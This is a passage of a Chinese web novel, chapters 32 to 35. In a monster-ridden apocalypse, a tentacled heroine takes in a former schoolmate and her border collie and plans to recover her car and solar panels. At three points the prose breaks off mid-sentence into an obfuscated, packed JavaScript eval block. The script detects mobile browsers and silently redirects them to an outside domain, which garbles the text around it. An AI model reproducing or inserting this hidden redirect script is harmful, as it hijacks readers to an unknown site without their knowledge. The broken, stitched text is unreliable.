“来了!” ……望舒? 连霏下意识屏住了呼吸,僵硬地转动脖子,看向门口——先进来的是一个雪肤乌发的马尾少年,手中抱着一个大纸箱,步伐稳健;而后探进来的是一摞被触手捆扎在一起的花哨书籍,顺着触手向上望去,赫然便是她魂牵梦萦的那张面孔。 真的是她……黎望舒! 她那双琥珀色瞳孔微微一动,投来了与梦中一模一样的冷淡视线,在连霏身上微微一停。 不露声色地将她打量一番后,黎望舒朝连霏礼貌地点了点头。 下一个瞬间,连霏眼眶中蓄起了泪水。 32. 第 32 章 黎望舒刚一进门,便对上了长发女子的视线——她唇色仍有些苍白,秋水似的眸子盈盈地望着这边,眼神直勾勾地,看起来还没完全清醒。 “你醒了。”黎望舒客气地朝她一点头,随即便收回视线,将搜罗来的漫画书扔在杜蕊面前,“你要的书,郁仪手里还有半箱,剩下半箱是口罩,满意了吧?” “我看看。”杜蕊手脚并用地爬了几步,捡起封皮细看。她连着翻了几本,五官皱在一起,不死心地又往箱子里看了一眼后,哀嚎道:“你你你……你怎么只拿了这种漫画!” “我没细看,随便卷了一堆……不对吗?”黎望舒皱起眉头,“和你的要求哪里不一样。” “完全相反啊!我要的是明明是搞笑漫和少女漫……”杜蕊丢下手里的漫画书,没好气地拍了拍手上的灰尘,“哎呀算了,和你这种不冲浪的人解释不清楚。正好她醒了,我还是自己去一趟吧。” “行吧,我陪你去。”拿她没办法,黎望舒叹了口气。 “这位……呃,还不知道怎么称呼的朋友,就是他们两个救了你……”杜蕊回头便看见了连霏眼眶通红的样子,愣了一下,手忙脚乱地凑上去安慰她,“怎么了?伤口很痛吗?” “不,已经不疼了。我只是……很开心。”回过神来,连霏慌忙摇了摇头,擦去眼泪,轻轻将腿上的绷带解开——原本深可见骨的伤痕已经愈合得差不多了,外圈结了一层薄薄的痂,只余下中心还残留着一点血色。 “哇!”杜蕊蹲下来细细打量她的伤口,忍不住发出惊叹,“这么快就愈合了。” “嗯,有点奇怪对吧?”连霏搂住身边的黑白花边牧,细声细气地介绍,“我叫连霏,它叫妞妞,多谢你们出手相救。” “原来它叫妞妞,很可爱的名字。要谢就谢它吧,多亏了它,我们才能找到这里。”黎望舒摸了摸妞妞的小脑袋,笑着对连霏伸出手,“你好,我是黎望舒。” 爱屋及乌,凭着对妞妞的喜爱,黎望舒对连霏的第一印象很不错。 “我认得你。”连霏紧紧抱住躁动不安的妞妞,伸手轻轻捏住了黎望舒的指尖,面色微红,声音又低了几分,“你可能已经忘了,但我们以前曾经见过的。” 黎望舒一怔,重新观察她的长相。 即便连霏脸上沾了些泥灰血迹,黎望舒依旧能看出来,她是个极标准的东方美人,一双潋滟上挑的丹凤眼令人见之不忘,气质颇有些拒人于千里之外的清冷,面上的红晕又淡化了这种氛围,让她多了几分可爱。 但翻遍了自己的记忆,黎望舒也不记得自己到底在哪见过她,只好怀着歉意道:“抱歉,我确实想不起来了。” “没关系!你不必道歉的。”连霏慌张地摆手,“我以前不大起眼,你能注意到才奇怪呢。” “望舒,你还是留在这儿陪她吧。”视线在二人之间转悠了一圈,杜蕊在八卦一线吃瓜多年的直觉发动,嘿嘿一笑,“我自己去找书就行。” 还没等黎望舒回答,旁边就悄悄投来了一道隐含期待、欲说还休的目光,让她生出了一股既视感——在心中叹了口气,黎望舒朝郁仪抬了抬下巴:“麻烦你再走一趟,陪杜蕊去找书,她一个人我实在不放心。” 郁仪起身时微微蹙眉,颇有些不情愿——虽然很高兴黎望舒愿意将事情托付给自己,但这连霏……他总觉得有哪里不对劲,似乎不该放任她与黎望舒二人独处。 “怎么了?”黎望舒问,“别勉强,累了的话,就回车上休息吧,顺便把闻风藻叫回来。” “……没事,还是我去吧。”郁仪抿唇摇了摇头,压下心中的疑虑,忍不住又望了眼连霏,跟在杜蕊身后离开了。 房间里除去妞妞,就只剩下她们二人了——意识到这件事的那个刹那,连霏一下子攥紧了身上的毯子,好不容易冷却下来的面庞又开始发热。 “有话想对我说?”黎望舒在妞妞旁边坐下,轻车熟路地开口——最近隔三岔五地就会碰上这种事,她似乎格外容易吸引到这类性格腼腆、表达方式曲折婉转的人群。 “你还记得山城一中吗?”连霏轻声问。 “当然。”黎望舒反应过来,“我们是校友?” “嗯。”连霏抱着膝盖回忆,“我比你大两届,经常能在高一的演讲台和光荣榜上看见你。当时我不知选什么专业好,十分迷茫,看到你的事迹后,觉得你特别厉害——目标明确,样样都能做到第一,处变不惊,无论何时都淡然又不失分寸……渐渐地就记住你了。” “好巧,原来是这样。”黎望舒笑了,“我还得叫你一声‘学姐’呢。” “实在不敢当。”连霏难为情地缩起脖子,将脸颊藏进胳膊底下。 一句学姐而已,太没出息了。她现在一定满面通红,黎望舒该不会认为她是个奇怪的人吧…… 而且……才不是巧合。 连霏犹豫一瞬,终究没敢说,自己千里迢迢跑来这边,就是为了找她。 “其、其实,也不止是这样。”连霏有些心虚,说得支支吾吾,“毕业之前,我去过一年级的教室。” ……那时,她还扎着马尾、戴着不起眼的黑框眼镜,一副学生打扮,被周围离别的悲伤氛围感染,一时冲动,什么也没想就冲到了黎望舒的教室里。直到自己真的倒映在那双琥珀色瞳孔里,她才发现大脑里一片虚无,一句话也说不出口。 那时候,黎望舒对她说了什么来着?好像问了她一句“有什么事”。但她太没出息了,还没好好回答,眼泪就先跑了出来,最后还要麻烦黎望舒亲自来给她擦眼泪,羞得她短短道了句歉后,就转头跑掉了。 “原来是那件事啊。”听完她的描述,黎望舒也想起来了,的确有这么一件事,“你和那时候完全不一样了,简直变了个人。” “毕竟是六年前的事了。”连霏难为情地笑了,“只是没想到,你最后会留在山城。” “留下来比较方便,我得时不时地回家帮忙。”回想起红帆孤儿院里的景象,黎望舒的心脏仿佛被狠抓了一下似的,突突地跳个不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14841649|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 停。她无心多说自己的事,牵起唇角,扯开话题:“你呢?在湖市发展?” “不,我是从江城来的。”连霏说。 “那就更巧了,我们的目的地刚好是江城。”黎望舒挑眉,“江城离这儿可不近。这么长的路程,你是独自走下来的?” “……还有妞妞。”连霏摸了摸一旁的边牧——它像是有些无聊,懒洋洋地趴在主人身边,时不时地抬头向窗外望一眼,“它很聪明,懂得如何与我配合。之前我腿伤了跑不动,要不是它帮忙引开怪物,我现在已经死了。” 连霏绝口不提来这里的理由,黎望舒也贴心地没有去深究,转而问起了另一件事:“江城那边状况怎么样?” “我离开得早,具体情况不是太清楚。”连霏努力回忆,“不过临走前听说城区已经被军方控制起来了,有建立大型基地的计划,正在招人建设呢。” “这样啊。运气好的话,还能在基地里找到杜蕊的家人。”黎望舒沉吟片刻,接着问:“方便告诉我你的能力是什么吗?” “啊?”连霏呆了一瞬,“你怎么知道……” “猜想而已。”黎望舒说,“不想说的话也不必勉强。” “不是的!只是……我的能力有点鸡肋,对战斗帮助不大。”连霏慌忙否认,解释道:“我能和大多数动物进行简单交流,但精确度取决于对方的思维能力,有时候只能传达模糊的意思。” 她说着俯下身去,捏了捏妞妞的耳朵,轻声问它:“妞妞,你现在正在想什么?” 妞妞立刻坐直了身子,低头舔了黎望舒一口,尾巴摇得像个螺旋桨,兴奋地转了一圈,汪汪叫了几声。 “它都说了些什么?”妞妞表达的意思明显与她有关,黎望舒提起了兴致。 “喜……喜欢你……” 连霏声音又低了下去,话刚出口就察觉到不妥,一下子涨红了脸,飞速辩解:“是、是妞妞!它很喜欢你,想要你陪它玩一会儿。” “原来你也喜欢我呀。”没注意到连霏的异常,黎望舒的注意力全在妞妞身上,闻言笑眯眯地搓了搓它的脑袋,“好吧,在他们回来之前,就陪你玩一玩好了。” 她分出了一根触手,灵活地在空中打转,引得妞妞兴奋地上蹿下跳,不住地绕着圈奔跑。 二人都没再说话,房间里只剩下了小狗兴奋的喘气声与脚步声。黎望舒正和小狗玩得起劲,忽然,身侧传来一道长长的咕噜声——是连霏的肚子叫了。 “饿了?”黎望舒了然一笑,“我去给你拿点吃的吧。” “对、对不起!”连霏捂住肚子,羞得想找个地缝钻进去,“我本来也存了些食物,但逃命的时候物资都留在车上,丢在市中心了……实在不好意思。” “一点小事而已,不必放在心上。”黎望舒收回触手,站起身来,看着妞妞写满开心的小狗脸,忍不住又使劲搓了它一把,“就玩到这儿吧。” “等等!”眼见黎望舒就要消失在门后,连霏下意识出声挽留,“我想……” 33. 第 33 章 “我想……”似乎很难以启齿似的,连霏只开了个头,又突兀地止住了。 “怎么了。”黎望舒回头,“一个人害怕吗?那就只能先忍到杜蕊他们回来了。” “没事。”连霏勉强笑了笑,“我是想说,要去江城的话,最好从外环绕路,别从市中心走。那里怪物很多,车辆根本无法通行,我的车已经陷在里面了。” “我明白了,谢谢你的提醒。”黎望舒微笑着道谢,“那我走了,你一个人没关系吧?” “嗯,放心吧。” 看着黎望舒的背影远去,连霏叹了口气。 “呜?”仿佛在询问她似的,边牧妞妞用湿漉漉的鼻子蹭了蹭她的脸。 “没事啦,只是我太没出息了……对不起。”连霏抱紧了妞妞,将脸埋在它柔顺的背毛上,“你也很喜欢她,对吧?” “汪!”妞妞两眼放光。 “那我们等下一起努力,一定要让她带上我们。”连霏捧起妞妞的脸,与它对视,“明白了吗。” “汪呜!” -- 小房间里,五个人聚在一起,将附近搜集到的物资打包整理,做出发前最后的准备。 “……咳咳咳!” 连霏靠在墙边,小口啃着压缩饼干,斟酌着措辞,在心中预演与黎望舒对话的场景,但不小心将饼干渣呛进了气管里。见她咳得难受,杜蕊连忙放下了手中的包裹,递过去一瓶水:“别着急,我们又不是现在就走。” “见笑了,不好意思……”灌了两大口水,连霏好不容易缓了过来,面上又开始泛红,“其实从昨天清晨开始,我就什么也没吃过了。伤口恢复耗费得能量太多,我饿得像是能吃下一头牛。” “我也有过这种感觉。”黎望舒赞同,“之前触手被扎穿过一次,还没包扎就睡过去了,醒来后虽然修复得光洁如初,但也饿得厉害。” “你指的不会是怪潮那晚吧。”郁仪眉毛一动,“我记得你保证过,睡前会自己包扎。” “有吗?”黎望舒装傻,“我恢复得那么快,不用浪费药品。” “那可是怪物的咬伤,万一感染了怎么办!”郁仪将箱子往地上一撂,拧眉盯着她,“你又骗我,我再也不会相信你了……” 黎望舒不想听郁仪长篇大论,于是故技重施,悄悄伸出触手,钻进他的裤管,牢牢缠住了他的小腿,果然效果拔群——郁仪难以置信地瞪了她一眼,涨红了脸的同时,立刻闭上了嘴。 黎望舒毫无羞愧之意,作为回应,甚至露出了一个无辜的笑容。 “哎呀,别吵架嘛。”对他们私底下的小动作毫无所觉,杜蕊开始劝架,“郁仪也是为了你好,我们又不缺药品。” “嗯嗯。”黎望舒敷衍。 “我这一路也大大小小地受过不少伤,但因为没抢到药和绷带,所以没怎么包扎过。”连霏随口讲述自己的经历,“最严重的一次是肚子被划破了。当时我真的以为自己要死了,但把肠子塞回去睡了一觉之后,居然奇迹般地醒了过来……那时候也特别饿,足足吃了半箱面饼才缓过来。” “啊?肠子?”杜蕊被震撼到了,“这么离谱的事,你怎么说得像茶余饭后的闲话似的,一点紧张感也没有啊。” “毕竟已经过去了,回想起来没什么真实感,甚至不像自己亲身经历过的事情。”注意到杜蕊愈发合不拢的嘴巴,连霏连忙补充:“当然,那时候我还是很害怕的,抓起自己肠子的时候,手都被烫得发抖。” “好了……你不要再说了。”杜蕊面色发青。 “对了,听说你以前在山城念过高中。”缓过来之后,杜蕊又问,“接下来准备回山城吗?你的家人应该在那里吧。” “我已经没有在世的亲人了。”连霏轻轻摇头,“我是爸妈的老来女,他们二位前几年就已经去世了,无病无灾,自然死亡。” “对不起啊……我这张破嘴。”又戳到了别人的伤心事,杜蕊缩了缩脖子。 “没关系的,不用避讳,人总有这么一天。”连霏却看得开,“我反而很庆幸。要是再多活几年,在这样荒诞的世界里,他们二老无力反抗,不知道会发生什么事情。” 杜蕊认同地点头,但不好意思再开口,房间里陷入了沉寂。 ……这似乎是个提出请求的好机会。 “其实,我本来不打算回山城。”顺着先前的话题,连霏磕磕绊绊地解释:“我在湖市这边有事要办,现在也已经办完了。” ——很显然,她不擅长撒谎。眼神躲闪得厉害不说,耳根也迅速染上了红晕,手指缠绕在一起,几乎快要打成结了,别说黎望舒,就连一向迟钝的杜蕊也察觉到了不对劲。 “那你接下来准备去哪里?”将功补过似的,杜蕊立刻接话,“不如回山城看看,那边怪物不算太多,路上还能在我们去过的那个基地休息一晚。” “谢谢你的好意,但我准备回江城,正好与你们顺路。”连霏定了定神,硬着头皮开口:“我能跟着你们一起走吗?” 房间里静了一瞬,几束目光聚集到了黎望舒身上——闻风藻眉毛微挑,露出了等着看好戏的表情。 黎望舒没有立即回答,而是看了眼妞妞——它一双黑豆眼亮晶晶、直勾勾地盯着这边,尾巴摇得飞快,在地上扬起一片灰尘,“我想先请教你一个问题。” “您问。”连霏下意识正襟危坐,不自觉地用起了敬称。 “你一般给妞妞喂些什么?”黎望舒问,“它生得毛光水滑,伙食应该不错吧。” “我在车上存了些狗粮和罐头,还有……”连霏犹豫了一瞬,声音放低了,“之前趁我不注意,它吃了些怪物。” “啊?”杜蕊睁大双眼,“真的假的。” “不知道从什么时候开始,我喂食的时候明明每次都定时定量,它的饭盆里却总会剩下一些。”连霏说,“我觉得奇怪,害怕它乱捡东西吃坏肚子,于是开始仔细观察它的举动,然后发现……它撕咬怪物的时候,总是会偷偷吞进去一点。” “但这其实没什么的!”害怕他们对妞妞产生偏见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14849739|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,连霏语速飞快地解释,“吃了怪物肉也不会变成怪物的,我亲自试过了!发现妞妞吃了怪物肉之后,我不放心,于是也抓了两只怪物烤来吃,现在几天过去了,一点反应也没有。” “不是……姐们。”从一开始的惊讶到现在的难以理解,杜蕊已经无力吐槽了,“你的脑回路好清奇。” “怎么了?”连霏有些茫然。 “一般人怎么会亲自尝试呢,多危险啊!”杜蕊抓狂道,“要确定有没有害处,直接观察妞妞不就好了?而且,怪物可是吃过人的,它们的肉和人肉也差不多吧!” “好像是这样。”这才反应过来,连霏捂住嘴,面色发白,“我吃了人肉?” “你……唉,也不算吧。是我不好,不该说得这么直白。”杜蕊无奈,“但我确实没想到,你做事之前居然没考虑过这些。” “怪物是什么味道的?”黎望舒感兴趣地问,“妞妞那么喜欢,应该味道不错吧。” “确实很好吃。”连霏回忆,“除了内脏的味道有点怪之外,其余部分和烤鱿鱼差不多。” “等等,你该不会真的想吃吧。”杜蕊猛地盯向黎望舒,露出了见鬼似的表情,“不行,我绝不允许!” “既然妞妞的伙食靠怪物就能解决,那就没什么好犹豫的了。”黎望舒微笑着伸出手,“欢迎你加入。” “……谢谢!”没想到幸福来得如此轻易,连霏露出了惊喜的笑容。 “就这样?”闻风藻却不乐意了,“我那时候整得像审犯人一样,到了她这儿,就这么轻飘飘地结束了?” “你和她又不一样。”黎望舒淡定道,“她那么真诚,一看就是好人。” “我又哪里像坏人了?”闻风藻不甘心,气冲冲地问。 “你不够真诚。”黎望舒说,“而且也没有狗。” “在你心里,我还不如一条狗?”闻风藻面色青红交加,说得咬牙切齿。 郁仪头也没抬,轻嗤一声,杜蕊也毫不留情地爆笑出声——黎望舒反而有些同情他了。 “……哼。”懒得和这群人计较,闻风藻冷哼一声,“我可没开玩笑。黎姐,不能因为你们是旧相识就对她这么宽容,在我看来,她没那么可信。” “那你想如何?”黎望舒问他。 “没关系。”不愿让黎望舒为难,连霏也重新坐直了身子,正色望向闻风藻,“我没什么好隐瞒的,你们问什么我都说。” 几人的视线都聚向闻风藻……这样一来,反而将他衬得像个坏人似的——他面色更难看了,清了清嗓子:“我不是故意为难你,但有些事总该先讲明白。” “我明白。”连霏点头。 “我有两个问题。”闻风藻说,“第一个问题,你离开江城到底是为了什么——别拿之前那套说辞来应付,任谁都看得出来,那不是真话。” “……”连霏下意识瞄了眼黎望舒——对方事不关己似的,正捏着妞妞的爪子,玩得不亦乐乎。 “怎么,不能说?”闻风藻扬起眉毛。 34. 第 34 章 闻风藻的目光中带着迫力,有如实质般压了上来,与他僵持几秒后,连霏耷拉下肩膀,颓然道:“好吧,我说。” “离开江城,是因为我原本打算去山城找望……黎同学,没想到会在这里恰巧遇上。”连霏紧盯着地板,几乎不敢去看黎望舒的表情,“我隐瞒自己的真实目的并不是出于恶意,只是……很难说出口。” “找我?”黎望舒似笑非笑的声音响起,“你怎么知道我在山城。” “我关注了你的某博账号。”连霏声若蚊蝇,手指搅在一起,“虽然你没发过多少东西,但主页会显示IP……就在山城。” 此话一出,周围顿时陷入了寂静——连霏更不敢抬头了,恨不得找个地缝钻进去逃走。 “我信你。”杜蕊替人尴尬的毛病又犯了,“这样的理由,换成是我,绝对死也不会说出来的,这和公开处刑有什么区别。” “呜……”连霏死死埋着头。 “为什么要做到这种地步?”闻风藻难以理解地蹙眉,“你们只见过一面,她甚至不记得你,这样的关系连普通同学都算不上。” “因为我已经没有其他可以牵挂的人了。”连霏低声说,“没有亲戚,也没什么朋友,灾难降临那一刻,四周响起哀嚎,我抱着妞妞不知该去哪里,脑海中第一个浮现出的就是望舒……也许找她只是个借口,我明白这是大海捞针,成功率渺茫,但这样的话,我就能得到一个让自己继续走下去的目标了。” 闻风藻一噎,立刻感受到了杜蕊谴责的视线。 “对不起,我知道这种行为有些变态,所以才不敢说。”连霏几乎要哭出来了,“我只是很崇拜你,原本正常生活下去的话,也不打算来打扰你,但……” “没关系,我明白你的想法了,我并不介意。”黎望舒将目光移向闻风藻,“你的第二个问题呢?” 话都说到这个份上了,谁还问得下去——闻风藻生出了些悔意,叹道:“算了,是我不好,对不住。我没意见了。” “你们两个呢,还有没有要问的?”黎望舒问。 杜蕊将头摇得像个拨浪鼓,郁仪淡声道:“我听你的。” “那就是一致通过了。”黎望舒笑眯眯地向连霏伸出手,“再次欢迎你。” 连霏含泪握住了她的手,妞妞也不甘寂寞,将软乎乎的肉垫搭在了二人交握的手上,咧着嘴“汪”了一声。 -- 费了些时间将所有物资分别打包整理好后,几人各自抱着纸箱,慢慢步行着向越野车走去。 “霏霏,你力气好大,和望舒有得一拼了。”杜蕊一向自来熟,没过多久就自然地喊起了昵称。 “原先没这么大,这股力量是末世后出现的。”连霏抱着杜蕊的漫画箱子,腼腆一笑,“能帮上大家的忙就好。” 黎望舒甩着触手警戒周围,她身边不远处,郁仪正在低头研究地图:“要绕过市中心,就只能从这条路出发……位置太偏了,不知道我们的油能撑多久。” “你们开油车啊。”连霏接话,“我原先那辆是电车。” “唉,这年头,电车油车都一样,都没法开得长久。”想到连霏将车丢在了市中心,杜蕊宽慰她,“我们最开始那一辆也丢在半路上了,上面存了好多物资呢,不知道这一辆能开多久。无法想象以后出行到底要靠什么,难不成要回到农耕时代,靠牛和马拉车吗?” “醒醒,比起遍地都是的车,牛马更不好找,也更难伺候。”闻风藻恹恹地说:“什么都没有的话,就只能靠双腿走了……为什么只有我的能力不附带体能强化啊。” “是车的问题吗?我说的是能源。”杜蕊忍不住和他呛声,“牛马吃草就能干活,但汽油用一点少一点,坚持不了多久的。电力也一样,像霏霏的车,充不了电只能丢在半路……” “能充电啊。”连霏不明所以地说,“只是怪物太多,开不动了而已。” “啊?怎么充?”杜蕊呆住了。 “我是学能源动力的,工作也和能源有关。临走的时候,我趁乱从单位仓库里拉了两大块折叠光伏板,配上电车,就能白天充电,夜晚出发。”提起自己的车,连霏仍有些肉痛,“续航相当不错,断断续续地从江城开到这里……可惜了。” 几人不约而同地停下了脚步,看向连霏。 “……”与郁仪对视一眼,黎望舒缓声问:“那两块光伏板和你的车一起,都在市中心?” 连霏茫然点头,忽然反应过来:“等等,你们想把它拿回来?太危险了,怪物多得像山海一样,就算去了也开不回来。” “没关系,一点点将它们杀光就好。”黎望舒微微笑着说,“先回车上,再详细讲讲那里的情况吧。” -- “我预料到市中心会有很多怪物,所以并不打算将车开进去,一开始只停留在外围收集了一些生活物资。” 连霏被黎望舒与杜蕊左右包围,束手束脚地坐在后座中央,拘谨地讲述:“但就在我准备离开的时候,城市深处突然传来了一道惨叫,像是听到了我这边的动静似的,不停地喊着救命。我一时心软,就追了上去。” “那道惨叫声一直在移动,但我没多想,以为对方正在被怪物追赶,于是追得更紧了,不知追了多久,声音终于停在了一栋房子里。让妞妞留在门口警戒后,我下车进去查看,房子里却没有人,地上孤零零地放着一个录音机……那是个陷阱,门后埋伏着的半人怪物从背后偷袭,在我的小腿上留下了那两道伤痕。” “然后呢?”杜蕊身临其境似的紧张,忍不住问。 连霏缓了口气,接着说:“我被偷袭的同时,妞妞也在门外狂叫。我一时心急,抄起手边的板凳将半人怪物打晕,没顾上补刀,出门去看妞妞——妞妞没事,车子却被成群的怪物淹没了。想来是半人怪物提前赶走了那条路上的普通怪物,让我误以为自己还在城市边缘徘徊,却在不知不觉间深入了城市中心。” “难以想象,拟态能力也就算了,怪物居然还能利用科技来诱骗人类。”闻风藻双眉紧蹙,“真是防不胜防。” “它们继承了作为人时的记忆,自然懂得人类所知的一切。”郁仪淡声道, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14856100|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “亲情、爱情、友情,甚至是同情心,人类的一切情感,它们都能够利用。” “是我太天真了。回想起来就能发现,这个骗局处处都是漏洞,偏偏钓上了我这个傻瓜。”连霏叹气,“之后我拖着那条伤腿,和妞妞一起勉强跑到了城市外围,伤口不断地崩开,血一路流个不停。最后实在跑不动了,我只好找了个隐蔽的小房间躲起来,连包扎的力气都没有,只能寄希望于伤口会自己愈合。妞妞帮我引开了追上来的怪物……之后的事情,你们都知道了。” “半人怪物已死,城内的普通怪物应该回到无序状态了。”黎望舒摸了摸下巴,“面对一群小杂碎,凭我们的实力,可以毫发无伤地把光伏板捞出来。” “你真的要去?”连霏咬唇,“那地方给我的感觉不太好,说不定还会再生变故。” “不必担心。”杜蕊搭着她的肩膀哈哈一笑,“她和郁仪可强了,还带着我们击退过怪潮呢,这些都是小意思啦。” “可是……”连霏仍感到不安,有些后悔说出了光伏板的事。 “光伏板的价值足以让我为它冒险,比起一时的麻烦,我更想要一劳永逸。这是我的决定,我会为自己的决定负责,尽全力保护你。”黎望舒语气温和,“不愿去的话,你就在这里等着,我们取到东西后就来与你会合。” ……但我找了你那么久,又怎么可能舍得让你独自去冒险呢。 “我要去。”连霏咬牙下定决心,“多一个人就多一份力量,我不会缩在大家身后的。” “那就这么定了。”黎望舒按下车窗,看了眼天色,“天色不早了,你的伤也还没好全,今晚找个地方好好休息,明天出发。” -- 昏暗的房间里,桌子板凳凌乱地东倒西歪,门边一大片暗红发黑的血迹已经干涸,朦胧月光从大敞的门口洒入,将房间正中央的银色小收音机照得微微反光。 门外转进来了一个婀娜的女子身影,缓缓踏入房间,环视一圈后,生着利爪的手指探出,勾起了地上的小收音机。 “千罗这小废物,一天没回来了。说好了捕到猎物就带回来给我,哼……”女子冷笑一声,抚上地面的暗红血迹,“居然敢先于我享用猎物,等她回来,我一定要折断她的双腿,让她知道阳奉阴违是什么下场。” “大人息怒。”女子身边,一道温润男声响起,“您是何等人物,千罗大人绝不会背叛您。” “呵呵……嘴真甜,我都不舍得吃掉你了呢。”女子笑着挑起他的下巴,“可惜家里的存货快要吃完了,算算日子,也该轮到你了。” “能为大人献出这一身血肉,是我的荣幸。”男人的话语中带着一丝狂热,“请您务必品尝。” “别那么心急。不过,她的确没胆子背叛我,更可能是中了人类的诡计,死在外边了。” 伴随着粘腻的声响,女子背后缓缓伸出了成簇触手,向四面八方延展过去,奇诡的影子映在墙上,宛如一朵开得正好的彼岸花。 “许久没有亲自出门觅食了,正好趁着找她的功夫,松一松筋骨。” 35. 第 35 章 “你确定是这里?” 黎望舒立在萧条破败的街头,左右望了一眼,疑惑发问。 天刚蒙蒙亮,一行人就跟着连霏来到了她丢车的地方,可眼前只有零星几只怪物在游荡,各种各样的垃圾与玻璃碎片散落一地,被稀薄的晨光照得微微发亮,车辆横七竖八地报废在街道上,唯独见不到连霏描述中的银灰色电车。 “不应该啊,谁把我的车开走了?”连霏比黎望舒更急,几步冲过去,转了一圈后,推开了附近的一扇门,“真的是这里!你们看,当时半人怪物就是在这个屋子里袭击我的,地上的是我的血,收音机原来摆在这中间,现在也不见了……我、我没说谎!” “冷静点,我没怀疑你。”黎望舒眯了眯眼,“看样子,我们慢了一步。” “唉……我的车。”连霏看样子很珍惜自己的车,哭丧着脸,心疼得不得了,“怪我先前太没自信。早知道过程这么简单,我就早点说出来了。” “只是现在看起来容易而已。”黎望舒踏进屋子,扫视一眼,深深吸了口带着霉味的空气,“弄走你车子的,还不知道是人是鬼。” “什么意思?”连霏茫然地问。 “不觉得奇怪吗?我们身处的地方离市中心很近,附近却看不到多少怪物。”黎望舒说,“比起从外围杀进来的时候,现在悠闲得简直就像是春游——这不符合常理。” “这里是某只强大怪物的领地?”郁仪迅速反应过来。 “我也有同样的感觉。”闻风藻面色不太好看,按着太阳穴,声音听起来有些勉强,“从更深的地方能感觉到一股压力,不算明显,但非常沉重……我们还是快点离开比较好。” “说的也是。”黎望舒点头,“车都没了,没必要冒险。” 正当他们几个准备离开之时,面前一栋大楼后头突然探出了半张男人的脸——他双唇轻启,并未高声叫喊,说出的一句话却像乘上了风似的,清晰地送入了几人的耳中—— “你们在找的,是一辆银白色的电车吗?” “……” 空气安静了两秒,几人悚然一惊,纷纷掏出武器,戒备地紧盯着声音传来的方向。黎望舒没有贸然回答,身下触手一甩,打量对方两眼后,高声道:“别藏头露尾的,往外走两步,双手举起来!” 身后传来手枪打开保险的声音,杜蕊非常配合地举起了手枪,瞄准了那半张脸——对于人类来说,比起了解不多的触手,枪械往往能更有效地产生威慑。 男人顿了一下,随即听话地向外挪了一步,张开空无一物的手掌,展示自己的无害。 他上身白衬衫,下身西裤,理着一头清爽短发,双瞳漆黑,面色平静——如果抛开他眼下的浓重青黑、深深凹陷的两颊与眼窝,以及下巴上的青色胡茬不谈的话,他生得颇为清秀。 “那辆银白色电车是你们的东西吗?”也许是因为距离遥远,即便被黑洞洞的枪口指着,男人依旧没什么表情,语气温润平静,“它被我藏起来了,如果你们想拿回来,就要帮我做一件事。” 孤身一人不带武器,就这样大大咧咧、毫发无损地出现在怪物游荡的街道上,任谁来看都能感觉到不对劲——黎望舒示意身后人留在原地,自己向前走了一段距离,冲白衫男人勾了勾手指:“你过来。” 白衫男人被笼罩在大厦的阴影里,漆黑眼珠冷沉沉地盯着她,不为所动:“你为什么不过来?” “因为有求于人的不是我,而是你。”黎望舒扬起一边眉毛,作势要转身,“我们没那么想要那辆车,不听话我就走了。” 见她真的转身要走,白衫男人眼珠动了动,不情愿地向前走了两步。他的面孔暴露在阳光中,浓重的黑眼圈搭配惨白面色,看起来简直像鬼一般可怖。 一步、又一步……黎望舒屏息计算着他们之间的距离,在白衫男人进入她攻击范围的那一刻,她的触手闪电般飞出,呼吸间的功夫就缠住了男人的脖颈与四肢,将他吊上半空。 “呃……”白衫男人表情痛苦,脖子被紧勒,呼吸不畅地艰难喘息着。 黎望舒却微微一怔——与她预想中的死肉触感不同,触手下的皮肤温热又有弹性,紧勒在男人颈侧的那根触手甚至能感受到皮下动脉的鼓胀跳动,与虫母捏出来的虚假肉块不同,充满了人类的真实感。 ……难道是她想错了? 不,不会有错的,即便这家伙真的是人类,也一定藏着什么她未发现的蹊跷。 轻轻将男人放回地上,黎望舒收回部分触手,仍留了两根,将他的双手手腕紧缚在身后,语气带着歉意,话中的意思却十分强硬:“不好意思,现在人与人之间没有信任可言了。想要合作,你就得接受这样的形式。” “……我能接受。”男人掀起眼皮,漆黑瞳孔迅速地瞟了她一眼,又极快地低下了头——那一瞬间,黎望舒察觉到了一股强烈的违和感,却又说不清楚是从何而来。 不想与他撕破脸皮,忍下了强行翻看对方眼皮的冲动,黎望舒将疑虑压在心底,回身做了个危机解除的手势。 “没事吧?”杜蕊急忙赶了过来,手中依旧紧握着枪,先是将黎望舒从头到尾打量了一遍,目光又移到白衫男人的脸上,被他鬼一样的面色吓了一跳,“你你你……是人是鬼,多久不睡觉才能熬成这样。” “说说你的要求。”黎望舒冲他抬了抬下巴。 